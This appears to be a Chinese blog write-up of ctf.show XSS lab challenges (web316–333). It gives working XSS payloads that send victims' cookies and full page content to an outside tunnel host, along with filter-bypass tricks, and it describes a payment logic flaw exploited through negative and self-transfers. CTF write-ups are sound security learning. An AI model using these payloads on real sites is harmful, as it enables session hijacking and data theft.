ctf_show笔记篇(web入门---XSS)

目录

web316:

1. 直接使用网上现成的服务器去接收cookie信息

2. 自己搭建服务器(也可以是映射自己的IP给公网域名,这里我使用的是小米球)

web317-321:

web322-326:

web327:  

web328:

web329:

web330-331:

web332:

web333:


这里简单对xss做一个了解:

xss分为反射型和储存型

反射型:一般是由攻击者选择攻击对象,对攻击对象发一个带有xss窃取cookie的页面的url,被攻击者点击就会动过document.cookie将用户信息一并发送给攻击方的服务器。反射型XSS一般发生在浏览器,当受害者访问含有XSS代码的页面时浏览器解析并执行XSS代码造成信息泄露。

存储型:攻击方将恶意代码插入在存在漏洞的网站上,任何访问网站的人都会遭到攻击,比起反射型xss,存储型xss危害更大,范围更广。存储型则是脚本解析发生在服务端,XSS代码被存储在服务器上,当用户访问网站时,服务器将代码发送至浏览器,浏览器解析后造成执行XSS。

web316:

从题目这里就能知道是反射性xss

工具跑一跑没有waf并且是反射性的XSS

这里有两种方法可以通过document.cookie获取管理员的cookie

1. 直接使用网上现成的服务器去接收cookie信息

2. 自己搭建服务器(也可以是映射自己的IP给公网域名,这里我使用的是小米球)

启动以后会把本地ip端口给映射到外网服务器的域名上,能通过域名访问本地局域网

另一种做法,如果在家里可以给路由器做ip映射

本地开启http服务(这里我已经接收到了cookie信息)

payload:  这里是使用的域名访问的

<script>document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/?cookie='+document.cookie</script>

web317-321:

这里简单列几个

a标签

<a href="x" οnfοcus="location.href="http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie="+document.cookie;" autofocus="">xss</a>

ima标签

<img src=x οnerrοr="alert(1)">

iframe标签

<iframe οnlοad="alert('xss');"></iframe>

body标签

<body οnlοad="alert('xss');"></body>

web322-326:

后续这里过滤了空格

空格绕过蛮多的/**/  %09  %0A  %0C  %0D  %20都可以试一试

这里在拓展一点绕过

如果alert这些被过滤了,可以利用eval、top、window等这些把他们拼接起来

例如:

<img src="x" οnerrοr="eval('al'+'ert(1)')">

出了通过函数拼接以外还可以利用赋值拼接

例如:

<img src x=al y=ert οnerrοr=top[x+y](1)>

web327:  

这里一看就是存储型XSS,直接给admin发邮件,让admin访问执行XSS得到flag

payload:

<body οnlοad="document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie='+document.cookie;"></body>

网站应该是写了某种脚本,发送过去的邮件自动访问,每隔多久在访问一次

web328:

这种情况一般XSS会出现在注册这里,但是一般是一次性的,这种情况一般出现在管理员会去验证注册的人员是否可以注册,当管理员去查验的时候执行到了XSS从而造成信息泄露

payload:

<script>document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie='+document.cookie;</script>

将获得的cookie插入在存储在本地的cookie信息中,然后直接去访问用户管理得到flag

web329:

像这一题不能像328一样伪造cookie造成用户伪造的目的,这一题似乎会随机给admin发cookie,每次访问都会销毁前一次的cookie,从而达就算泄露了cookie也不能达到伪造的效果

payload:

<script>window.open('http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

  1. <script> ... </script>: 这是一个JavaScript脚本的标签,用于包裹JavaScript代码。

  2. window.open(...): 这是JavaScript中用于打开新窗口的方法,它接受一个URL作为参数,并在新窗口中加载该URL。

  3. 'http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML: 这部分构建了要打开的URL。首先,它将一个固定的URL 'http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/' 与页面中特定元素的内容组合在一起。具体来说,它使用了document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML来获取页面上class为layui-table-cell laytable-cell-1-0-1的元素的HTML内容,并将其作为URL的一部分。

总的来说,这段代码的作用是在当前页面打开一个新窗口,并访问一个特定的URL,该URL由固定部分和页面特定元素的内容组成。

web330-331:

如果像上一题那样做需要知道flag所在的html标志才能拿下来,现在直接把整页打印下来不久行了吗

payload:

(function(){(new Image()).src='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/?content='+escape(document.body.innerHTML)})();

web332:

这里需要购买flag,要9999圆

这一题感觉不像是XSS而是支付逻辑漏洞了

尝试给admin赚钱,看是否能修改金额

会显示有内鬼

先去注册,然后登录一个账户(这里我已经得到flag了)

尝试给admin转钱

抓包改为负数

防包以后发现钱变多了

web333:

我的做法明显是一种非预期的做法,也有XSS的做法可以自己去摸索

这里的漏洞点在这里,

这一次再尝试给admin转钱以及不行了

但是我们账户里有五块钱,给自己转转钱试试呢

钱也变多了,这明显的支付逻辑漏洞

直接拿去bp爆破嘎嘎涨钱

  • 10
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值